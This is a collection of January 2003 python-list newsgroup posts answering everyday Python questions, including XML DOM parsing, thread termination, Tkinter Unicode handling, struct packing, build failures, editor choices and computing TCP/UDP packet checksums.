> > like "perl" or "sed" better?  I want to end up with a list of files and,
> > if possible, the lines and line numbers where matches were found.
> > 
> > What would be great is some way of being able to specify how close the
> > words were and other details.
> > 
> > Thanks very much for any help.
> 
> How about :
>   ls | egrep 'apple' | egrep 'orange'

That lists the lines that have both apple and orange. And in this
case, you can use fgrep or grep instead of egrep.

If you don't care if the words appear on the same line or not, one of
the magic incantations is:

        grep -l apple * | xargs grep -l orange

And it will list the files that have both apple and orange in them.

And what is this doing in comp.lang.p*?

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From paul at boddie.net  Mon Jan 20 06:42:00 2003
From: paul at boddie.net (Paul Boddie)
Date: 20 Jan 2003 03:42:00 -0800
Subject: xml.dom.minidom
References: <XZuW9.443$f8.10917@nnrp1.ozemail.com.au>
Message-ID: <23891c90.0301200342.32392fd7@posting.google.com>

"Graeme" <gsmatthew at ozemail.com.au> wrote in message news:<XZuW9.443$f8.10917 at nnrp1.ozemail.com.au>...
> Hi all, im still  struggling to try and find some examples on the web, im
> finding the documentation conclusive butcant find any everday samples.

I've written this introduction which you might find useful:

  http://www.boddie.org.uk/python/XML_intro.html

> I am trying to extract the values for each of a list of orderlines for a
> given order, using MSXML 3.0 (using XPath) I have no problem, but I have
> only decided in the last two weeks to write a commercial app in Python after
> discounting ruby (due to lack of documentation) so im still a bit aloof :)

I noticed in your other posting that you used case-insensitive element
names when searching for elements. Do not do this! I suppose this is a
feature that MSXML has enabled by default, but you will be frustrated
very easily if you attempt to rely on it elsewhere.

> e.g.
> 
> <order>
> <orderid>12345</orderid>
> <orderline>
> <partno>1234</partno>
> </orderline>
> <orderline>
> <partno>1235</partno>
> </orderline>
> <order>

Fixing the closing tag to "</order>", putting the above into a string,
and using the following code, I get a result list of two elements.

  # Use 'parse' with file objects.
  # Here, I've just put your document into the string 's'.
  d = xml.dom.minidom.parseString(s)
  d.getElementsByTagName("orderline")

> my current attempt is using orderNode.getElementsByTagName('orderline')

If 'orderNode' refers to an "<order>...</order>" section of the
document, then you should only expect one element in your result -
'getElementsByTagName' only searches below the current node.

> Im trying to retireve a list of Nodes i.e NodeList as per doco then extract
> each element value

Here's what you get:

  [<DOM Element: orderline at 9904468>, <DOM Element: orderline at
9904932>]

Using the usual Python list operations, you can get at each element,
but you may need to think more clearly about what "element value" you
want to get. Perhaps you might want to retrieve the part numbers.

A recommendation: if you install 4Suite, you get XPath support in
PyXML.

Paul



From robin at jessikat.fsnet.co.uk  Fri Jan  3 10:46:14 2003
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Fri, 3 Jan 2003 15:46:14 +0000
Subject: ReportLab 1.17 Released
References: <Ytw3coAgCZF+Ew4U@jessikat.demon.co.uk> <qrhR9.6920$Gv4.1634@fe08>
Message-ID: <UP5UEWAGBbF+Ew7b@jessikat.demon.co.uk>

In article <qrhR9.6920$Gv4.1634 at fe08>, Steve Holden
<sholden at holdenweb.com> writes
>Robin:
>
>I don't think anyone would object to a URL in the announcement :-)
>
>regards
gurrk :(
http://www.reportlab.com/download.html
http://www.reportlab.com/ftp/ReportLab-1.17.tgz
http://www.reportlab.com/ftp/ReportLab_1_17.zip

etc etc mea culpa mea maxima culpa mumble mumble. 
-- 
Robin Becker



From maney at pobox.com  Fri Jan 17 00:01:28 2003
From: maney at pobox.com (maney at pobox.com)
Date: Fri, 17 Jan 2003 05:01:28 +0000 (UTC)
Subject: FW: Switch statements again
References: <E4AA6173DD435B45956B8E5F685B49452702F3@hyperspace.synchrologic.com> <1042672900.3e25ed04a5f1a@www.progoth.com> <mailman.1042687953.21581.python-list@python.org> <aXqV9.1044$IZ5.489@nwrddc04.gnilink.net> <x7iswp57ia.fsf@guru.mired.org> <6JEV9.16610$7O4.1616@nwrddc02.gnilink.net>
Message-ID: <b082n8$b4j$3@wheel2.two14.net>

Carl Banks <imbosol at vt.edu> wrote:
> Mike Meyer wrote:
>> Carl Banks <imbosol at vt.edu> writes:
>>> switches are likely to make indentation a pain; it's not clear whether
>>> case tags should be indented or not.  If they are, you have two
>>> indentation levels for the code inside.  If they aren't, you've broken
>>> a fundamental property of indentation.

>> Why does not indenting the case tags break a fundamental property of
>> indentation?

> Yes.  All of the in statements look back to a single when.  An elif
> looks only back to the previous if/elif.  The in statements fall

I think this is spurious reasoning, although like you I agree with the
result "all if / elif / else at the same indent".

> "inside" the when statement.  The elif falls "after" the previous
> if/elif.  So, unindented ins is worse than unindented elifs: that
> which fall inside tags ought to be indented.
> 
> However, the former is NOT any worse than try followed by a bunch of
> excepts.  All the excepts look back to the same try.  Conceptually,
> the excepts should be nested inside the try statement, but I (and
> everyone else) have been happily using them where they are.
> 
> For that reason, I retract my statement.

I think the common reason that runs through all of these is that the
set of flow control keywords are properly seen as peers in a larger
structure.  This was explained back in the dark ages of programming in
the "why chained else if is not indented every step" - back in those
days they hadn't yet discovered the "elif", you see.  (the story that
Knuth had discovered elif but not described it becuase it was
considered too grotesque is plausible but probbaly apocryphal.)

I hesitate to dig this up, but this is also at the root of the
occasional strong desire for assignment on the fly.  When what you need
to do is inherently an if / elif ... / else, it is annoying to have to
add spurious indentation in order to capture the value that is being
tested.  I don't think I saw this so clearly when last we discussed
that issue, and I wanted to flush it before I lost sight of it again.

Anyway, I think this is the real rule that if/elif/else and
try/except/finally are obeying, and the one which IMO the switch
construct ought to follow as well.  I have no strong opinion about the
choice of keywords, but I do hope we don't get a needless indentation
specified for this.  Never mind that I've been writing 'case' at the
same level as 'switch' in C for longer than some of you have been
alive!  <wink>



From lac at strakt.com  Fri Jan 24 10:18:45 2003
From: lac at strakt.com (Laura Creighton)
Date: Fri, 24 Jan 2003 16:18:45 +0100
Subject: killing thread ? 
In-Reply-To: Message from Uwe Schmitt <uwe.schmitt@procoders.net> 
   of "24 Jan 2003 14:12:55 GMT." <b0rhl7$112v7d$2@hades.rz.uni-sb.de> 
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <mailman.1043410542.25830.python-list@python.org> <b0rhl7$112v7d$2@hades.rz.uni-sb.de> 
Message-ID: <200301241518.h0OFIjjL028606@ratthing-b246.strakt.com>

> Laura Creighton <lac at strakt.com> wrote:
> >> 
> >> Hi,
> >> 
> >> AFAIK there is no method in the threading module to kill a thread.
> >> Each thread has to terminate itself by watching status variables.
> >> But: what happens if I start a thread, and when I want to kill
> >> this thread, I delete all references to the according Thread object,
> >> and call the garbage collector. 
> >> Will this work ??
> 
> > No.  You cannot stand outside your application and kill a thread.
> > Instead you have to arrange for your thread to receive the message
> > to go commit suicide (and then your thread has to know how to do
> > that).  If your threads are already communicating by Queues, sticking
> > a 'do_die' in there is often cleanest.  
> 
> > <snip> 
> 
> But what if I want to end a thread which hangs because
> it uses 'exec' on some code which loops forever ?

You lose.  That thread doesn't know how to receive a message that it
ought to die.

> 
> I discovered the _Thread__stop() method of threading.Thread object.
> It works. But that seems to be some dirty hack...

I don't think that this does what you think it does.  If you call it in 
the context of another thread, all sorts of weird things happen, but
none of them is what you want.  What you want is a way to stand outside
of your program and shoot the running process that you don't need any
more, and _you_ _can't_ _have_ _that_, because there is no way to do
that, Sorry.

> Dr. rer. nat. Uwe Schmitt      Computer science is no more about Computers,
> uwe.schmitt at num.uni-sb.de      than astronomy is about telescopes. (Dijkstra)
> http://www.procoders.net           

Laura 




From gerhard.haering at opus-gmbh.net  Wed Jan 22 11:53:47 2003
From: gerhard.haering at opus-gmbh.net (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 22 Jan 2003 16:53:47 GMT
Subject: Best SMTP/POP library?
References: <FEyX9.1$0L3.488@news2.news.adelphia.net> <slrnb2ten0.1gg.gerhard.haering@haering.opus-gmbh.net> <bJzX9.9$0L3.15587@news2.news.adelphia.net>
Message-ID: <slrnb2tj3u.os.gerhard.haering@haering.opus-gmbh.net>

Robert Oschler <Oschler at earthlink.net> wrote:
> "Gerhard H?ring" <gerhard.haering at opus-gmbh.net> wrote in message
> news:slrnb2ten0.1gg.gerhard.haering at haering.opus-gmbh.net...

^^
Considering this reference "line", I agree you need a new MUA :-)

>> Robert Oschler <Oschler at earthlink.net> wrote:
>> > I want to write my own email client, what is the best SMTP/POP library
> for
>> > Python 2.2? URL's please.

^^
Yeah, considering this "quoting", you definitely need one ;-)

>> What's wrong with smtplib and poplib in the standard library?
>>
> 
> Gerhard,
> 
> Nothing, but there's so much stuff coming out for Python these days, I feel
> it's always a good idea to ask in case there's something new and exciting I
> might not know about.

For a (GUI) MUA blocking calls like the ones in smtplib and poplib tend to
annoy the user.  Twisted might come in really useful there.

OTOH maybe using smtplib/poplib in a separate thread and communicating via
Queue.Queue or whatever works well, too.

But if you can avoid threads, that's a Good Thing [tm].

Anyway, if you have some spare time (and people who want to develop their
own MUA definitely have), I'd recommend you check out Twisted [1].  It
certainly falls in the new and exciting category.

While you're at it, http://sourceforge.net/projects/pythonms/ (Python Mail
System - a framework for creating MUAs in Python) could also poffer some
useful code.

One other thing: you'll most likely want a threading algorithm. I started
one once but AMK got got a stable one finished before me:

http://www.amk.ca/python/code/jwz.html

Gerhard

[1] http://www.twistedmatrix.com/
-- 
Gerhard H?ring
OPUS GmbH M?nchen
Tel.: +49 89 - 889 49 7 - 32
http://www.opus-gmbh.net/



From davecook at nowhere.net  Sun Jan 26 02:23:40 2003
From: davecook at nowhere.net (David M. Cook)
Date: Sun, 26 Jan 2003 07:23:40 GMT
Subject: IDLE Python GUI
References: <3e32a1a6_4@corp.newsgroups.com> <3e32ce04_4@corp.newsgroups.com>
Message-ID: <slrnb3738d.boo.davecook@localhost.localdomain>

In article <3e32ce04_4 at corp.newsgroups.com>, Norm wrote:

> Thanks for all the replies.  I must say this.  Being relatively new to UNIX
> / Linux I find that I use pico as my main editor - why?  Emacs confuses the
> heck out of me.  Geez louise that program is like an o/s all on it's own.

I started out with pico but eventually outgrew it and moved to JED for
routine editing tasks.  JED is lightweight and has a pretty good Python
mode, though its syntax coloring algorithm gets confused by a single quote
inside triple quotes.  Also, if you use it in a gnome-terminal on a recent
Linux distro with GNOME 2 you get anti-aliasing for free.  Fonts look really
nice.  

However, I use XEmacs for Python hacking because of the excellent Python
mode, version control support, recent files menu, etc.  I just wish it
supported XFS (and thus anti-aliasing).

If you stick with idle, you probably want to check out idlefork and IDE
Studio.

http://idlefork.sourceforge.net/
http://starship.python.net/crew/mike/Tide/idledev/IDEStudio.html

Dave Cook




From news at snakefarm.org  Mon Jan 13 18:00:10 2003
From: news at snakefarm.org (Carsten Gaebler)
Date: Tue, 14 Jan 2003 00:00:10 +0100
Subject: fast way of turning a list of integers<256 into a string
References: <f57664b9.0301131444.26ca3b43@posting.google.com>
Message-ID: <avvgds$u1i$1@news.schlund.de>

Jonathan P. wrote:
> s=''
> for i in range(1,255):
>   s+=chr(i)
> 
> has horrible performance (primarily due to string
> immutability I think).  Is there a function to do
> the ff. instead:
> 
> x=range(1,255)
> list2str(x)

What about this?

 >>> import struct
 >>> struct.pack('BB', *(254, 255))
'\xfe\xff'
 >>>

Or applied to your example:

 >>> x = range(1, 255)
 >>> fmt = 'B' * len(x)
 >>> struct.pack(fmt, *x)
'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 
!"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe'
 >>>


cg.




From martin at v.loewis.de  Sat Jan 11 12:50:09 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sat, 11 Jan 2003 18:50:09 +0100
Subject: 4 tests failed: test_socket test_sunaudiodev test_sundry test_urllib2
In-Reply-To: <52373b4f.0301110858.25522bb8@posting.google.com>
References: <52373b4f.0301102221.37091303@posting.google.com> <mailman.1042269140.19918.python-list@python.org> <52373b4f.0301110858.25522bb8@posting.google.com>
Message-ID: <avplgc$f7j$02$1@news.t-online.com>

Sam Carleton wrote:
> I do see that it keeps claming that there is no module named _socket. 
> After doing a find in the root directory where I am compiling the
> code, there is this file:

Invoke "make" again, and watch the messages as they pass by, for 
appearance of "socket" or "socketmodule".

_socket.dsp is the Visual C++ project file for the _socket module, and 
irrelevant for Solaris.

Most likely, Python finds an unusable OpenSSL installation. To work 
around this problem, either
a) make the OpenSSL installation usable (requires further analysis),
b) remove it, or
c) edit Modules/Setup to build Python without SSL support

As another option: Ignore the failure. It means Python won't support 
sockets. Whether this is a problem or not depends on whether your Python 
applications require sockets.

Regards,
Martin





From christophe.grimault at novagrid.com  Tue Jan 21 07:25:32 2003
From: christophe.grimault at novagrid.com (christophe grimault)
Date: Tue, 21 Jan 2003 13:25:32 +0100
Subject: How to get the types of the parents of an object ?
Message-ID: <3E2D3C3C.8010800@novagrid.com>

Hi,

I need to control the type of some arguments passed to a constructor. 
Specifically,
my classes inherit of 'object', so

type(my_object)

returns

my_class

Now my_class is a child of my_super_class. And I want to check if
my_object is an instance of my_super_class.

How can I do that

Thanks in advance,

Chris




From peter at engcorp.com  Sat Jan 11 12:48:42 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sat, 11 Jan 2003 12:48:42 -0500
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net>
Message-ID: <3E2058FA.F676DCFC@engcorp.com>

"Edward K. Ream" wrote:
> 
> > As Armin Rigo of PSYCO fame takes part in the effort,
> > we are confident that MinimalPython will eventually
> > run faster than today's CPython.
> 
> This announcement seems to be making a truly remarkable claim, namely that
> one could increase the speed of  C code by recoding it in Python and then
> applying Psycho to it.
> 
> I am inclined to disbelieve this claim.  Why should Psycho be able to do
> better than an optimizing C compiler applied to hand-written interpreter
> code and/or library code?  The only possibilities I can think of:

I'm inclined to withhold judgment on such claims, admitting the
possibility that I don't know everything.

This inclination comes from an event in my distant past, around grade seven, 
when a friend of mine named Simon Gibson(*) and I were walking home from 
school one day and he told me that, with one of those new-fangled C 
compilers, it was possible to write code that ran *faster* than assembly 
language!  Pshaw!  What a load of hogwash, said I.  How could one possibly 
get code that ran faster assembly, the *fastest* language around, by 
writing it in a high-level language and having a compiler turn it into 
assembly!?  I was inclined to disbelieve the claim.

After a while, Simon convinced me that, with optimizations that I
as an assembly programmer would never make (at the time, it wasn't a
case of avoiding bad style, since one did anything one could to get fast
code, but simply a case of not thinking of the optimization trick),
a C compiler would indeed, someday, generate faster assembly than I could.  
I manage to get him to concede that an expert assembly programmer 
*might* then be able to tweak the resulting code, in special cases,
to be even faster, but I eventually accepted his claim.  And, of course,
eventually C compilers _were_ able to optimize and his point was proven.

Then there was the guy who said that no one would ever need more than
640K of RAM...

And then there was the HotSpot compiler for Java, which I was inclined
to disbelieve could ever produce faster code than those optimizing
C compilers.

I no longer believe it's wise to disbelieve claims so quickly...

I also think it *is* a good idea to express support for such novel
and pioneering efforts, when someone is willing to invest the time
needed to *try* to make it work, and willing to risk failure.  
Those of us willing to sit on the sidelines should be supportive, IMHO.

-Peter

(*) Simon was, sadly, killed in a climbing accident during a co-op
work-term at Microsoft. (Another thing I've never forgiven them for. ;-)



From lac at strakt.com  Wed Jan 29 13:20:24 2003
From: lac at strakt.com (Laura Creighton)
Date: Wed, 29 Jan 2003 19:20:24 +0100
Subject: Generating Unique Keys 
In-Reply-To: Message from grante@visi.com (Grant Edwards) 
   of "29 Jan 2003 16:19:53 GMT." <3e37ff29$0$26173$a1866201@newsreader.visi.com> 
References: <mailman.1043710965.5817.python-list@python.org> <7xy956jf5j.fsf@ruckus.brouhaha.com> <47e891f1.0301281237.16079102@posting.google.com> <7xvg09c8bi.fsf@ruckus.brouhaha.com> <3E36F43E.1090803@freemail.hu> <t1wvg089gey.fsf@kermit.wreck.org> <mailman.1043853713.17341.python-list@python.org> <3e37ff29$0$26173$a1866201@newsreader.visi.com> 
Message-ID: <200301291820.h0TIKOjL028278@ratthing-b246.strakt.com>

See http://www.fourmilab.ch/hotbits/ for another way to get real random.

Laura Creighton




From asmirnov at asmirnov.com  Wed Jan 29 09:25:58 2003
From: asmirnov at asmirnov.com (Andrei Smirnov)
Date: 29 Jan 2003 06:25:58 -0800
Subject: patching of python: tabs make me seek of python
References: <f210c9f3.0301281143.22c01152@posting.google.com> <mailman.1043799291.30192.python-list@python.org>
Message-ID: <f210c9f3.0301290625.6ebe1aea@posting.google.com>

Andrew Bennetts <andrew-pythonlist at puzzling.org> wrote in message news:<mailman.1043799291.30192.python-list at python.org>...
> On Tue, Jan 28, 2003 at 11:43:17AM -0800, Andrei Smirnov wrote:
> > 
> > please, don't try to convince me that tabs are good: i'm too lazy to even think
> > about it. i just want curly braces.
> 
> If you really can't adapt, you can always do:
> 
>     if foo: #{
>         ...
>     #}

this thing i was trying. i guess pindent should have option to generate that,
why not. however xemacs python mode doesn't support #{ #} and things get messy
with time.

> 
> Etc.
> 
> However, I strongly suspect that all you need to do is configure your editor
> correctly, e.g. expand all tabs to spaces, and preferably make sure your
> workmates do the same.

yes, that's good advise. some nonrelevant issues (like my boss is using vi only)
makes it impossible to achive in real life.

my own solutution would be that:
1) adopt modified python syntax:

def main(): {
 print "Hello, world!";
 cond = 1;
 if cond == 0: {
 print "how you get here";
 } else: {
  print "cond is zero";
 }
}

i.e. i'm using ; at the end of each line, { to open block, } to close block.

2) goto in emacs, in c++-mode, mark whole buffer and indent whole buffer (C-M-\)
all emacs keys works!
3) save this program into t.cpy.
4) execute command: sed 's/[;{}]//g' t.cpy > t.py
5) t.py is actual python code

the reason why i'm doing that is simple: using emacs in c++ mode i can
format such code and have all indentation to be redone easily by C-M-\.
then i discard all non-relevant symbols and get equivalent python code
with all indentation done. if i *have to* to copy-and-paste (NOTE: *have to*)
some code segment or decide to include main into some class i dont need to 
anything special: just reindent.

this outlines my proposition: {}; could be discarded in python parser as optional
feature. also it can insert proper amount of spaces instead of doing indent in
emacs.

> 
> -Andrew.

andrei

PS: i like python even more now: all responses was relevant. imagine what if
i would post in perl group proposition to replace curly braces with tabs.



From whisper at oz.net  Sun Jan 26 15:53:05 2003
From: whisper at oz.net (David LeBlanc)
Date: Sun, 26 Jan 2003 12:53:05 -0800
Subject: Where to find tcl/tk Tkinter component memory limits
In-Reply-To: <3E344444.4030803@email.com>
Message-ID: <GCEDKONBLEFPPADDJCOEOEENHKAA.whisper@oz.net>

That varies to some extent by platform and OS version. For example, on
Windows, Tk wraps (some/all of?) the host controls and it's their limits
that control. On Windows 9x/Me, the text control is limited to 64kb and on
NT/2000/XP, the limit is 1-2 mb (theoretically 4gb, but there's another OS
limit: the details of which I've forgotten).

I would expect the same to be true on other platforms where Tk wraps the
host GUI library in lieu of providing direct implementations.

Hitting comp.lang.tcl might get you more information.

HTH,

David LeBlanc
Seattle, WA USA

> -----Original Message-----
> From: python-list-admin at python.org
> [mailto:python-list-admin at python.org]On Behalf Of R. C. Ellis
> Sent: Sunday, January 26, 2003 12:23
> To: python-list at python.org
> Subject: Where to find tcl/tk Tkinter component memory limits
>
>
> I need to know what the limits on things like text components - that is,
> how many lines (bytes, whatever) will fit in a text edit component.
> That sort of thing.
>
> RC
>
> --
> http://mail.python.org/mailman/listinfo/python-list





From kwalker at earth1.net  Thu Jan  9 19:46:49 2003
From: kwalker at earth1.net (Bill Walker)
Date: Thu, 9 Jan 2003 19:46:49 -0500
Subject: How to change colors of console window?
References: <3e1ab443_1@corp.newsgroups.com> <avepvu$o6k$0@216.39.172.122> <avhh4d$ffmlh$1@ID-130333.news.dfncis.de> <avhobn$d5g$0@216.39.172.122> <avi1u6$g4ojc$1@ID-130333.news.dfncis.de>
Message-ID: <3e1e153c_3@corp.newsgroups.com>

Can you give an example of using an escape sequence to change the DOS
windows to, say blue on white?


"Cousin Stanley" <CousinStanley at HotMail.com> wrote in message
news:avi1u6$g4ojc$1 at ID-130333.news.dfncis.de...
> || w98 console is annoying in other ways too, IIRC. I.e., you
> || have to load doskey to get line recall, and then that doesn't
> || get inherited when you run python in the console interactively?
>
> Bengt ...
>
> I'm using doskey and find it very useful
> and on this Win98 system it does NOT inherit into Python,
> which  IS  a problem ...
>
> As a result, I do little testing directly in interactive mode
> but make changes in a text editor and then run ...
>
> doskey does make switching back and forth
> between ... edit ... and ... python ... very easy
> after typing the lines the fist time ...
>
> I have managed to switch the DOS colors easily
> using ANSI Escape sequences with the ANSI.SYS driver,
> but I'm curious as how to do it with DOS/Win configurations ...
>
> Cousin Stanley
>
>
>
>
>
>
>
>




-----= Posted via Newsfeeds.Com, Uncensored Usenet News =-----
http://www.newsfeeds.com - The #1 Newsgroup Service in the World!
-----==  Over 80,000 Newsgroups - 16 Different Servers! =-----



From alan_salmoni at yahoo.com  Thu Jan 16 10:27:10 2003
From: alan_salmoni at yahoo.com (Alan James Salmoni)
Date: 16 Jan 2003 07:27:10 -0800
Subject: Mixing Python and C: any easy way?
References: <CFN376368443311343@news.mindspring.com>
Message-ID: <b68f71a7.0301160727.31172a32@posting.google.com>

You may be interested in Weave which is part of the SciPy package
(http://www.scipy.org/site_content/weave) - it allows C++ code to be
included into Python code. I'm not sure if it is exactly what you
want, but maybe it is suitable for your purposes as it doesn't require
much of an interface. It works on Linux and Windows so far.

Alan James Salmoni
SalStat Software: http://salstat.sunsite.dk

Carl Bevil <carl_bevil at yahoo.com> wrote in message news:<CFN376368443311343 at news.mindspring.com>...
> Hey folks.  I'm on a small team of programmers developing a project over a 
> period of several months.  We normally code in C++, but are thinking it would 
> be nice to do part of the development in a scripting language such as Python.  
> The nature of our application is still going to require that large chunks of 
> the app still be done in C++.
> 
> So I've been looking into ways to easily interface the two languages.  The 
> only thing I've turned up so far is SWIG.  Unfortunately it doesn't seem to be 
> as automated as I'd like.  It appears that you have to create a special 
> interface file for every C++ header you want to access from Python.  There may 
> be many headers containing complicated objects in our project, and I 
> anticipate creating interface files would be a lot of work, and would turn 
> into a maintenance problem.  Maybe someone out there has been in a similar 
> situation and can tell me whether this is a pain or fairly easy?
> 
> Thing is, I am hesitant to tell the other programmers on the team, "You have 
> to learn a new language, which will make development faster, but you also have 
> to create special SWIG files for every C++ header you want to access from this 
> new language, and make sure you keep these files up to date with changes you 
> make in your headers, etc....".  We have a tight schedule (who doesn't?), so 
> I'm worried about efficiency.
> 
> Am I overreacting here?  And is there a better way to do this?  If not SWIG, 
> then what can do this task?  Am I asking for the impossible?  I've heard that 
> Python is supposed to be good at interfacing with C/C++.  Can someone give me 
> some pointers that will help me out here?
> 
> Thanks!
> 
> Carl



From phr-n2003b at NOSPAMnightsong.com  Fri Jan 31 13:49:57 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 31 Jan 2003 10:49:57 -0800
Subject: converting data to hex
References: <Q0j_9.1511$Ir1.259@newssvr16.news.prodigy.com> <mailman.1043972936.7953.python-list@python.org> <2kz_9.909$Fc3.97669323@newssvr21.news.prodigy.com>
Message-ID: <7x1y2tupbe.fsf@ruckus.brouhaha.com>

Mark Harrison <mh at pixar.com> writes:
> >    value = tuple(map(ord,md5.new(myStr).digest()))
> 
> Most excellent...  It was only the ord that I originally
> thought I needed, but tuple/map is so slick that now I don't
> feel guilty about asking such a dumb question.

What are you really trying to do here?

Maybe what you want is more like

    import array
    value = array.array('B', md5.new(myStr).digest())



From printf at hongkong.com  Fri Jan 17 09:20:08 2003
From: printf at hongkong.com (printf)
Date: Fri, 17 Jan 2003 22:20:08 +0800
Subject: help!! getting output from another process line by line, using
 popen
In-Reply-To: <Xns9306995379CBDLaocoon@62.153.159.134>
References: <b08ka1$q8l8@imsp212.netvigator.com> <Xns9306963ED78FFLaocoon@62.153.159.134> <Xns9306995379CBDLaocoon@62.153.159.134>
Message-ID: <b0936g$8uo1@imsp212.netvigator.com>

Lao Coon wrote:
> *snip*
> 
>>>================monitor.py===============
>>>#! /usr/bin/python
>>>
>>>import os
>>>import sys, string
>>>cmd="python output.py"
> 
> *snip*
> 
>>Lao
> 
> 
> After just testing it you also /have to/ use python -u
> here to get unbuffered output.
> 
> Sorry for the inconvenience
> 
> Lao

i replace cmd="python -u output.py"
and using python -u monitor.py, it's same as before. it does not work again
thanks for your help.




From bvdpoel at kootenay.com  Mon Jan 27 11:46:31 2003
From: bvdpoel at kootenay.com (Bob van der Poel)
Date: 27 Jan 2003 08:46:31 -0800
Subject: Tkinter + Unicode -- possible FIX
References: <3e3446f4_1@dns.sd54.bc.ca> <b12j8e$bof$1@news2.tilbu1.nb.home.nl>
Message-ID: <fc3b2087.0301270846.307fbb45@posting.google.com>

"vincent wehren" <v.wehren at home.nl> wrote in message news:<b12j8e$bof$1 at news2.tilbu1.nb.home.nl>...
> "Bob van der Poel" <bvdpoel at kootenay.com> schrieb im Newsbeitrag
> news:3e3446f4_1 at dns.sd54.bc.ca...
> >
> > In another thread I whinned about the entry of character outside of the
> > 7bit ascii range into a tkinter Entry widget crashing my program.
> >
> > First, the problem: Somewhere along the line the data in an Entry widget
> > is being checked. And if it has non-7bit character in it the return
> > value for Entry.get() is type unicode, NOT type str. Now, any python
> > code which attempts to compare or print this value causes the
> > interpreter to exit with a line similar to:
> >
> > UnicodeError: ASCII encoding error: ordinal not in range(128)
> >
> > Second, how I wasted a lot of time trying to fix this: I figured I had
> > to change my program, so I started to add lots of lines like:
> >
> > if type(result) != type(""):
> > result=result.encode(defaultEncoding)
> >
> > where the variable defaultEncoding had been determined by a call to
> > locale.getlocale()
> >
> > All this turned out to be unnecessary.
> >
> > Third, the simple fix:
> >
> >
> > In the python library files "site.py"  there is code which looks like:
> >
> >           if 0:
> >                 # Enable to support locale aware default string encodings.
> >                 import locale
> >                 loc = locale.getdefaultlocale()
> >                 if loc[1]:
> >                     encoding = loc[1]
> >
> > Simply chaning the 'if 0:' to 'if 1:' nicely fixes the problem. I'm not
> > sure if this relevant to all combinations of python/tkinter. But it
> > certainly is with python 2.2 on my Mandrake 9.0 installation.
> >
> > Hope this helps someone else.
> 
> What's wrong with encoding the strings as needed, meaning at the time of
> print output or storage in a byte-oriented file? And promoting your
> byte-oriented strings to unicode to enable comparison?
> 

Well, the biggest problem in the particular case I'm working on is
that the program has dozens of EXISTING places where the problem might
occur. Add to this, as I stated in another post, that the biggest
problem is the inconsistency of the entire process... And, I'm sort of
convinced that having encoding enabled is the proper way to do things.



From tebeka at cs.bgu.ac.il  Sun Jan 12 09:07:05 2003
From: tebeka at cs.bgu.ac.il (Miki Tebeka)
Date: 12 Jan 2003 06:07:05 -0800
Subject: Performance penalty for using classes?
References: <mailman.1042365524.20783.python-list@python.org>
Message-ID: <33803989.0301120607.4aaf4a97@posting.google.com>

Hello Tim,

> (BTW: How much time did the other tests took on your machine?)
OK. Your machine is fater than mine :-)
However using psyco on the strcut_test gives a (way) better performance boost, 
almost same time a the c program.

[14:30] $time ./class_test.py 
Going 100000 iterations
* Done
real 5.37
user 5.34
sys 0.01
[14:30] $time class_test_psyco.py 
Going 100000 iterations
* Done
real 3.19
user 3.14
sys 0.00
[14:30] $time struct_test.py 
Going 100000 iterations
* Done
real 4.23
user 4.17
sys 0.01
[14:31] $time struct_test_psyco.py 
Going 100000 iterations
* Done
real 0.99
user 0.91
sys 0.02
[14:33] $time c_test
Going 1000000 iterations
* Done
real 0.45
user 0.36
sys 0.05



From andrew at indranet.co.nz  Fri Jan  3 23:24:00 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Sat, 04 Jan 2003 17:24:00 +1300
Subject: ping multiple Ips with python
In-Reply-To: <_dsR9.67891$eq2.17373053@twister.nyroc.rr.com>
References: <8db020b9.0301031420.25e56f3b@posting.google.com>
 <_dsR9.67891$eq2.17373053@twister.nyroc.rr.com>
Message-ID: <96740000.1041654240@localhost.localdomain>

Actually, your checksum isn't right.

Try something more like:

def fixULPChecksum(packet):
    # evil assumptions: no IP options, IPv4
    pseudopkt = ''.join([packet[:IPheader_len][-8:],
                         '\x00',
                         packet[:IPheader_len][-11],
                         struct.pack('!H', len(packet) - IPheader_len),
                         packet[IPheader_len:IPheader_len+16],
                         '\x00\x00',
                         packet[IPheader_len+18:]]
                        + [x for x in ['\x00'] if len(packet) & 1])
    csum = reduce(operator.add,
                  struct.unpack('!%dH' % (len(pseudopkt)>>1),
                         pseudopkt))
    csum = (csum>>16) + (csum&0xffff)
    csum += (csum>>16)
    csum = (csum&0xffff)^0xffff
    return ''.join([packet[:IPheader_len+16],
                    struct.pack('!H', csum),
                    packet[IPheader_len+18:]])

(note:  this will need some modification, because it actually takes a whole 
packet with a broken TCP or UDP checksum, and returns one with it fixed, 
but you get the idea.)

This version is pretty fast in comparison, too.

